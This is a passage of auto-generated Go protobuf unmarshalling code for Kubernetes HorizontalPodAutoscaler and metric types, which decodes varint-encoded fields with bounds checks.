return ErrInvalidLengthGenerated
}
postIndex := iNdEx + intStringLen
if postIndex > l {
return io.ErrUnexpectedEOF
}
m.Kind = string(dAtA[iNdEx:postIndex])
iNdEx = postIndex
case 2:
if wireType != 2 {
return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType)
}
var stringLen uint64
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
stringLen |= (uint64(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
intStringLen := int(stringLen)
if intStringLen < 0 {
return ErrInvalidLengthGenerated
}
postIndex := iNdEx + intStringLen
if postIndex > l {
return io.ErrUnexpectedEOF
}
m.Name = string(dAtA[iNdEx:postIndex])
iNdEx = postIndex
case 3:
if wireType != 2 {
return fmt.Errorf("proto: wrong wireType = %d for field APIVersion", wireType)
}
var stringLen uint64
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
stringLen |= (uint64(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
intStringLen := int(stringLen)
if intStringLen < 0 {
return ErrInvalidLengthGenerated
}
postIndex := iNdEx + intStringLen
if postIndex > l {
return io.ErrUnexpectedEOF
}
m.APIVersion = string(dAtA[iNdEx:postIndex])
iNdEx = postIndex
default:
iNdEx = preIndex
skippy, err := skipGenerated(dAtA[iNdEx:])
if err != nil {
return err
}
if skippy < 0 {
return ErrInvalidLengthGenerated
}
if (iNdEx + skippy) > l {
return io.ErrUnexpectedEOF
}
iNdEx += skippy
}
}
if iNdEx > l {
return io.ErrUnexpectedEOF
}
return nil
}
func (m *HorizontalPodAutoscaler) Unmarshal(dAtA []byte) error {
l := len(dAtA)
iNdEx := 0
for iNdEx < l {
preIndex := iNdEx
var wire uint64
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
wire |= (uint64(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
fieldNum := int32(wire >> 3)
wireType := int(wire & 0x7)
if wireType == 4 {
return fmt.Errorf("proto: HorizontalPodAutoscaler: wiretype end group for non-group")
}
if fieldNum <= 0 {
return fmt.Errorf("proto: HorizontalPodAutoscaler: illegal tag %d (wire type %d)", fieldNum, wire)
}
switch fieldNum {
case 1:
if wireType != 2 {
return fmt.Errorf("proto: wrong wireType = %d for field ObjectMeta", wireType)
}
var msglen int
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
msglen |= (int(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
if msglen < 0 {
return ErrInvalidLengthGenerated
}
postIndex := iNdEx + msglen
if postIndex > l {
return io.ErrUnexpectedEOF
}
if err := m.ObjectMeta.Unmarshal(dAtA[iNdEx:postIndex]); err != nil {
return err
}
iNdEx = postIndex
case 2:
if wireType != 2 {
return fmt.Errorf("proto: wrong wireType = %d for field Spec", wireType)
}
var msglen int
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
msglen |= (int(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
if msglen < 0 {
return ErrInvalidLengthGenerated
}
postIndex := iNdEx + msglen
if postIndex > l {
return io.ErrUnexpectedEOF
}
if err := m.Spec.Unmarshal(dAtA[iNdEx:postIndex]); err != nil {
return err
}
iNdEx = postIndex
case 3:
if wireType != 2 {
return fmt.Errorf("proto: wrong wireType = %d for field Status", wireType)
}
var msglen int
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
msglen |= (int(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
if msglen < 0 {
return ErrInvalidLengthGenerated
}
postIndex := iNdEx + msglen
if postIndex > l {
return io.ErrUnexpectedEOF
}
if err := m.Status.Unmarshal(dAtA[iNdEx:postIndex]); err != nil {
return err
}
iNdEx = postIndex
default:
iNdEx = preIndex
skippy, err := skipGenerated(dAtA[iNdEx:])
if err != nil {
return err
}
if skippy < 0 {
return ErrInvalidLengthGenerated
}
if (iNdEx + skippy) > l {
return io.ErrUnexpectedEOF
}
iNdEx += skippy
}
}
if iNdEx > l {
return io.ErrUnexpectedEOF
}
return nil
}
func (m *HorizontalPodAutoscalerCondition) Unmarshal(dAtA []byte) error {
l := len(dAtA)
iNdEx := 0
for iNdEx < l {
preIndex := iNdEx
var wire uint64
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
wire |= (uint64(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
fieldNum := int32(wire >> 3)
wireType := int(wire & 0x7)
if wireType == 4 {
return fmt.Errorf("proto: HorizontalPodAutoscalerCondition: wiretype end group for non-group")
}
if fieldNum <= 0 {
return fmt.Errorf("proto: HorizontalPodAutoscalerCondition: illegal tag %d (wire type %d)", fieldNum, wire)
}
switch fieldNum {
case 1:
if wireType != 2 {
return fmt.Errorf("proto: wrong wireType = %d for field Type", wireType)
}
var stringLen uint64
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
stringLen |= (uint64(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
intStringLen := int(stringLen)
if intStringLen < 0 {
return ErrInvalidLengthGenerated
}
postIndex := iNdEx + intStringLen
if postIndex > l {
return io.ErrUnexpectedEOF
}
m.Type = HorizontalPodAutoscalerConditionType(dAtA[iNdEx:postIndex])
iNdEx = postIndex
case 2:
if wireType != 2 {
return fmt.Errorf("proto: wrong wireType = %d for field Status", wireType)
}
var stringLen uint64
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
stringLen |= (uint64(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
intStringLen := int(stringLen)
if intStringLen < 0 {
return ErrInvalidLengthGenerated
}
postIndex := iNdEx + intStringLen
if postIndex > l {
return io.ErrUnexpectedEOF
}
m.Status = k8s_io_api_core_v1.ConditionStatus(dAtA[iNdEx:postIndex])
iNdEx = postIndex
case 3:
if wireType != 2 {
return fmt.Errorf("proto: wrong wireType = %d for field LastTransitionTime", wireType)
}
var msglen int
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
msglen |= (int(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
if msglen < 0 {
return ErrInvalidLengthGenerated
}
postIndex := iNdEx + msglen
if postIndex > l {
return io.ErrUnexpectedEOF
}
if err := m.LastTransitionTime.Unmarshal(dAtA[iNdEx:postIndex]); err != nil {
return err
}
iNdEx = postIndex
case 4:
if wireType != 2 {
return fmt.Errorf("proto: wrong wireType = %d for field Reason", wireType)
}
var stringLen uint64
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
stringLen |= (uint64(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
intStringLen := int(stringLen)
if intStringLen < 0 {
return ErrInvalidLengthGenerated
}
postIndex := iNdEx + intStringLen
if postIndex > l {
return io.ErrUnexpectedEOF
}
m.Reason = string(dAtA[iNdEx:postIndex])
iNdEx = postIndex
case 5:
if wireType != 2 {
return fmt.Errorf("proto: wrong wireType = %d for field Message", wireType)
}
var stringLen uint64
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
stringLen |= (uint64(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
intStringLen := int(stringLen)
if intStringLen < 0 {
return ErrInvalidLengthGenerated
}
postIndex := iNdEx + intStringLen
if postIndex > l {
return io.ErrUnexpectedEOF
}
m.Message = string(dAtA[iNdEx:postIndex])
iNdEx = postIndex
default:
iNdEx = preIndex
skippy, err := skipGenerated(dAtA[iNdEx:])
if err != nil {
return err
}
if skippy < 0 {
return ErrInvalidLengthGenerated
}
if (iNdEx + skippy) > l {
return io.ErrUnexpectedEOF
}
iNdEx += skippy
}
}
if iNdEx > l {
return io.ErrUnexpectedEOF
}
return nil
}
func (m *HorizontalPodAutoscalerList) Unmarshal(dAtA []byte) error {
l := len(dAtA)
iNdEx := 0
for iNdEx < l {
preIndex := iNdEx
var wire uint64
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
wire |= (uint64(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
fieldNum := int32(wire >> 3)
wireType := int(wire & 0x7)
if wireType == 4 {
return fmt.Errorf("proto: HorizontalPodAutoscalerList: wiretype end group for non-group")
}
if fieldNum <= 0 {
return fmt.Errorf("proto: HorizontalPodAutoscalerList: illegal tag %d (wire type %d)", fieldNum, wire)
}
switch fieldNum {
case 1:
if wireType != 2 {
return fmt.Errorf("proto: wrong wireType = %d for field ListMeta", wireType)
}
var msglen int
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
msglen |= (int(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
if msglen < 0 {
return ErrInvalidLengthGenerated
}
postIndex := iNdEx + msglen
if postIndex > l {
return io.ErrUnexpectedEOF
}
if err := m.ListMeta.Unmarshal(dAtA[iNdEx:postIndex]); err != nil {
return err
}
iNdEx = postIndex
case 2:
if wireType != 2 {
return fmt.Errorf("proto: wrong wireType = %d for field Items", wireType)
}
var msglen int
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
msglen |= (int(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
if msglen < 0 {
return ErrInvalidLengthGenerated
}
postIndex := iNdEx + msglen
if postIndex > l {
return io.ErrUnexpectedEOF
}
m.Items = append(m.Items, HorizontalPodAutoscaler{})
if err := m.Items[len(m.Items)-1].Unmarshal(dAtA[iNdEx:postIndex]); err != nil {
return err
}
iNdEx = postIndex
default:
iNdEx = preIndex
skippy, err := skipGenerated(dAtA[iNdEx:])
if err != nil {
return err
}
if skippy < 0 {
return ErrInvalidLengthGenerated
}
if (iNdEx + skippy) > l {
return io.ErrUnexpectedEOF
}
iNdEx += skippy
}
}
if iNdEx > l {
return io.ErrUnexpectedEOF
}
return nil
}
func (m *HorizontalPodAutoscalerSpec) Unmarshal(dAtA []byte) error {
l := len(dAtA)
iNdEx := 0
for iNdEx < l {
preIndex := iNdEx
var wire uint64
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
wire |= (uint64(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
fieldNum := int32(wire >> 3)
wireType := int(wire & 0x7)
if wireType == 4 {
return fmt.Errorf("proto: HorizontalPodAutoscalerSpec: wiretype end group for non-group")
}
if fieldNum <= 0 {
return fmt.Errorf("proto: HorizontalPodAutoscalerSpec: illegal tag %d (wire type %d)", fieldNum, wire)
}
switch fieldNum {
case 1:
if wireType != 2 {
return fmt.Errorf("proto: wrong wireType = %d for field ScaleTargetRef", wireType)
}
var msglen int
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
msglen |= (int(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
if msglen < 0 {
return ErrInvalidLengthGenerated
}
postIndex := iNdEx + msglen
if postIndex > l {
return io.ErrUnexpectedEOF
}
if err := m.ScaleTargetRef.Unmarshal(dAtA[iNdEx:postIndex]); err != nil {
return err
}
iNdEx = postIndex
case 2:
if wireType != 0 {
return fmt.Errorf("proto: wrong wireType = %d for field MinReplicas", wireType)
}
var v int32
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
v |= (int32(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
m.MinReplicas = &v
case 3:
if wireType != 0 {
return fmt.Errorf("proto: wrong wireType = %d for field MaxReplicas", wireType)
}
m.MaxReplicas = 0
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
m.MaxReplicas |= (int32(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
case 4:
if wireType != 2 {
return fmt.Errorf("proto: wrong wireType = %d for field Metrics", wireType)
}
var msglen int
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
msglen |= (int(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
if msglen < 0 {
return ErrInvalidLengthGenerated
}
postIndex := iNdEx + msglen
if postIndex > l {
return io.ErrUnexpectedEOF
}
m.Metrics = append(m.Metrics, MetricSpec{})
if err := m.Metrics[len(m.Metrics)-1].Unmarshal(dAtA[iNdEx:postIndex]); err != nil {
return err
}
iNdEx = postIndex
default:
iNdEx = preIndex
skippy, err := skipGenerated(dAtA[iNdEx:])
if err != nil {
return err
}
if skippy < 0 {
return ErrInvalidLengthGenerated
}
if (iNdEx + skippy) > l {
return io.ErrUnexpectedEOF
}
iNdEx += skippy
}
}
if iNdEx > l {
return io.ErrUnexpectedEOF
}
return nil
}
func (m *HorizontalPodAutoscalerStatus) Unmarshal(dAtA []byte) error {
l := len(dAtA)
iNdEx := 0
for iNdEx < l {
preIndex := iNdEx
var wire uint64
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
wire |= (uint64(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
fieldNum := int32(wire >> 3)
wireType := int(wire & 0x7)
if wireType == 4 {
return fmt.Errorf("proto: HorizontalPodAutoscalerStatus: wiretype end group for non-group")
}
if fieldNum <= 0 {
return fmt.Errorf("proto: HorizontalPodAutoscalerStatus: illegal tag %d (wire type %d)", fieldNum, wire)
}
switch fieldNum {
case 1:
if wireType != 0 {
return fmt.Errorf("proto: wrong wireType = %d for field ObservedGeneration", wireType)
}
var v int64
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
v |= (int64(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
m.ObservedGeneration = &v
case 2:
if wireType != 2 {
return fmt.Errorf("proto: wrong wireType = %d for field LastScaleTime", wireType)
}
var msglen int
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
msglen |= (int(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
if msglen < 0 {
return ErrInvalidLengthGenerated
}
postIndex := iNdEx + msglen
if postIndex > l {
return io.ErrUnexpectedEOF
}
if m.LastScaleTime == nil {
m.LastScaleTime = &k8s_io_apimachinery_pkg_apis_meta_v1.Time{}
}
if err := m.LastScaleTime.Unmarshal(dAtA[iNdEx:postIndex]); err != nil {
return err
}
iNdEx = postIndex
case 3:
if wireType != 0 {
return fmt.Errorf("proto: wrong wireType = %d for field CurrentReplicas", wireType)
}
m.CurrentReplicas = 0
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
m.CurrentReplicas |= (int32(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
case 4:
if wireType != 0 {
return fmt.Errorf("proto: wrong wireType = %d for field DesiredReplicas", wireType)
}
m.DesiredReplicas = 0
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
m.DesiredReplicas |= (int32(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
case 5:
if wireType != 2 {
return fmt.Errorf("proto: wrong wireType = %d for field CurrentMetrics", wireType)
}
var msglen int
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
msglen |= (int(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
if msglen < 0 {
return ErrInvalidLengthGenerated
}
postIndex := iNdEx + msglen
if postIndex > l {
return io.ErrUnexpectedEOF
}
m.CurrentMetrics = append(m.CurrentMetrics, MetricStatus{})
if err := m.CurrentMetrics[len(m.CurrentMetrics)-1].Unmarshal(dAtA[iNdEx:postIndex]); err != nil {
return err
}
iNdEx = postIndex
case 6:
if wireType != 2 {
return fmt.Errorf("proto: wrong wireType = %d for field Conditions", wireType)
}
var msglen int
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
msglen |= (int(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
if msglen < 0 {
return ErrInvalidLengthGenerated
}
postIndex := iNdEx + msglen
if postIndex > l {
return io.ErrUnexpectedEOF
}
m.Conditions = append(m.Conditions, HorizontalPodAutoscalerCondition{})
if err := m.Conditions[len(m.Conditions)-1].Unmarshal(dAtA[iNdEx:postIndex]); err != nil {
return err
}
iNdEx = postIndex
default:
iNdEx = preIndex
skippy, err := skipGenerated(dAtA[iNdEx:])
if err != nil {
return err
}
if skippy < 0 {
return ErrInvalidLengthGenerated
}
if (iNdEx + skippy) > l {
return io.ErrUnexpectedEOF
}
iNdEx += skippy
}
}
if iNdEx > l {
return io.ErrUnexpectedEOF
}
return nil
}
func (m *MetricSpec) Unmarshal(dAtA []byte) error {
l := len(dAtA)
iNdEx := 0
for iNdEx < l {
preIndex := iNdEx
var wire uint64
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
wire |= (uint64(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
fieldNum := int32(wire >> 3)
wireType := int(wire & 0x7)
if wireType == 4 {
return fmt.Errorf("proto: MetricSpec: wiretype end group for non-group")
}
if fieldNum <= 0 {
return fmt.Errorf("proto: MetricSpec: illegal tag %d (wire type %d)", fieldNum, wire)
}
switch fieldNum {
case 1:
if wireType != 2 {
return fmt.Errorf("proto: wrong wireType = %d for field Type", wireType)
}
var stringLen uint64
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
stringLen |= (uint64(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
intStringLen := int(stringLen)
if intStringLen < 0 {
return ErrInvalidLengthGenerated
}
postIndex := iNdEx + intStringLen
if postIndex > l {
return io.ErrUnexpectedEOF
}
m.Type = MetricSourceType(dAtA[iNdEx:postIndex])
iNdEx = postIndex
case 2:
if wireType != 2 {
return fmt.Errorf("proto: wrong wireType = %d for field Object", wireType)
}
var msglen int
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
msglen |= (int(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
if msglen < 0 {
return ErrInvalidLengthGenerated
}
postIndex := iNdEx + msglen
if postIndex > l {
return io.ErrUnexpectedEOF
}
if m.Object == nil {
m.Object = &ObjectMetricSource{}
}
if err := m.Object.Unmarshal(dAtA[iNdEx:postIndex]); err != nil {
return err
}
iNdEx = postIndex
case 3:
if wireType != 2 {
return fmt.Errorf("proto: wrong wireType = %d for field Pods", wireType)
}
var msglen int
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
msglen |= (int(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
if msglen < 0 {
return ErrInvalidLengthGenerated
}
postIndex := iNdEx + msglen
if postIndex > l {
return io.ErrUnexpectedEOF
}
if m.Pods == nil {
m.Pods = &PodsMetricSource{}
}
if err := m.Pods.Unmarshal(dAtA[iNdEx:postIndex]); err != nil {
return err
}
iNdEx = postIndex
case 4:
if wireType != 2 {
return fmt.Errorf("proto: wrong wireType = %d for field Resource", wireType)
}
var msglen int
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
msglen |= (int(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
if msglen < 0 {
return ErrInvalidLengthGenerated
}
postIndex := iNdEx + msglen
if postIndex > l {
return io.ErrUnexpectedEOF
}
if m.Resource == nil {
m.Resource = &ResourceMetricSource{}
}
if err := m.Resource.Unmarshal(dAtA[iNdEx:postIndex]); err != nil {
return err
}
iNdEx = postIndex
default:
iNdEx = preIndex
skippy, err := skipGenerated(dAtA[iNdEx:])
if err != nil {
return err
}
if skippy < 0 {
return ErrInvalidLengthGenerated
}
if (iNdEx + skippy) > l {
return io.ErrUnexpectedEOF
}
iNdEx += skippy
}
}
if iNdEx > l {
return io.ErrUnexpectedEOF
}
return nil
}
func (m *MetricStatus) Unmarshal(dAtA []byte) error {
l := len(dAtA)
iNdEx := 0
for iNdEx < l {
preIndex := iNdEx
var wire uint64
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
wire |= (uint64(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
fieldNum := int32(wire >> 3)
wireType := int(wire & 0x7)
if wireType == 4 {
return fmt.Errorf("proto: MetricStatus: wiretype end group for non-group")
}
if fieldNum <= 0 {
return fmt.Errorf("proto: MetricStatus: illegal tag %d (wire type %d)", fieldNum, wire)
}
switch fieldNum {
case 1:
if wireType != 2 {
return fmt.Errorf("proto: wrong wireType = %d for field Type", wireType)
}
var stringLen uint64
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
stringLen |= (uint64(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
intStringLen := int(stringLen)
if intStringLen < 0 {
return ErrInvalidLengthGenerated
}
postIndex := iNdEx + intStringLen
if postIndex > l {
return io.ErrUnexpectedEOF
}
m.Type = MetricSourceType(dAtA[iNdEx:postIndex])
iNdEx = postIndex
case 2:
if wireType != 2 {
return fmt.Errorf("proto: wrong wireType = %d for field Object", wireType)
}
var msglen int
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
msglen |= (int(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
if msglen < 0 {
return ErrInvalidLengthGenerated
}
postIndex := iNdEx + msglen
if postIndex > l {
return io.ErrUnexpectedEOF
}
if m.Object == nil {
m.Object = &ObjectMetricStatus{}
}
if err := m.Object.Unmarshal(dAtA[iNdEx:postIndex]); err != nil {
return err
}
iNdEx = postIndex
case 3:
if wireType != 2 {
return fmt.Errorf("proto: wrong wireType = %d for field Pods", wireType)
}
var msglen int
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
msglen |= (int(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
if msglen < 0 {
return ErrInvalidLengthGenerated
}
postIndex := iNdEx + msglen
if postIndex > l {
return io.ErrUnexpectedEOF
}
if m.Pods == nil {
m.Pods = &PodsMetricStatus{}
}
if err := m.Pods.Unmarshal(dAtA[iNdEx:postIndex]); err != nil {
return err
}
iNdEx = postIndex
case 4:
if wireType != 2 {
return fmt.Errorf("proto: wrong wireType = %d for field Resource", wireType)
}
var msglen int
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
msglen |= (int(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
if msglen < 0 {
return ErrInvalidLengthGenerated
}
postIndex := iNdEx + msglen
if postIndex > l {
return io.ErrUnexpectedEOF
}
if m.Resource == nil {
m.Resource = &ResourceMetricStatus{}
}
if err := m.Resource.Unmarshal(dAtA[iNdEx:postIndex]); err != nil {
return err
}
iNdEx = postIndex
default:
iNdEx = preIndex
skippy, err := skipGenerated(dAtA[iNdEx:])
if err != nil {
return err
}
if skippy < 0 {
return ErrInvalidLengthGenerated
}
if (iNdEx + skippy) > l {
return io.ErrUnexpectedEOF
}
iNdEx += skippy
}
}
if iNdEx > l {
return io.ErrUnexpectedEOF
}
return nil
}
func (m *ObjectMetricSource) Unmarshal(dAtA []byte) error {
l := len(dAtA)
iNdEx := 0
for iNdEx < l {
preIndex := iNdEx
var wire uint64
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
wire |= (uint64(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
fieldNum := int32(wire >> 3)
wireType := int(wire & 0x7)
if wireType == 4 {
return fmt.Errorf("proto: ObjectMetricSource: wiretype end group for non-group")
}
if fieldNum <= 0 {
return fmt.Errorf("proto: ObjectMetricSource: illegal tag %d (wire type %d)", fieldNum, wire)
}
switch fieldNum {
case 1:
if wireType != 2 {
return fmt.Errorf("proto: wrong wireType = %d for field Target", wireType)
}
var msglen int
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
msglen |= (int(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
if msglen < 0 {
return ErrInvalidLengthGenerated
}
postIndex := iNdEx + msglen
if postIndex > l {
return io.ErrUnexpectedEOF
}
if err := m.Target.Unmarshal(dAtA[iNdEx:postIndex]); err != nil {
return err
}
iNdEx = postIndex
case 2:
if wireType != 2 {
return fmt.Errorf("proto: wrong wireType = %d for field MetricName", wireType)
}
var stringLen uint64
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
stringLen |= (uint64(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
intStringLen := int(stringLen)
if intStringLen < 0 {
return ErrInvalidLengthGenerated
}
postIndex := iNdEx + intStringLen
if postIndex > l {
return io.ErrUnexpectedEOF
}
m.MetricName = string(dAtA[iNdEx:postIndex])
iNdEx = postIndex
case 3:
if wireType != 2 {
return fmt.Errorf("proto: wrong wireType = %d for field TargetValue", wireType)
}
var msglen int
for shift := uint(0); ; shift += 7 {
if shift >= 64 {
return ErrIntOverflowGenerated
}
if iNdEx >= l {
return io.ErrUnexpectedEOF
}
b := dAtA[iNdEx]
iNdEx++
msglen |= (int(b) & 0x7F) << shift
if b < 0x80 {
break
}
}
if msglen < 0 {
return ErrInvalidLengthGenerated
}
postIndex := iNdEx + msglen
if postIndex > l {
return io.ErrUnexpectedEOF
}
if err := m.TargetValue.Unmarshal(dAtA[iNdEx:postIndex]); err != nil {
return err
}
iNdEx = postIndex
default:
iNdEx = preIndex
skippy, err := skipGenerated(dAtA[iNdEx:])
if err != nil {
return err
}
if skippy < 0 {
return ErrInvalidLengthGenerated
}
if (iNdEx + skippy) > l {
return io.ErrUnexpectedEOF
}
iNdEx += skippy
}
}
if iNdEx > l {
return io.ErrUnexpectedEOF
}
return nil
}
func (m *ObjectMetricStatus) Unmarshal(dAtA []byte) error {
l := len(dAtA)
iNdEx := 0
for iNdEx < l {
preIndex := iNdEx
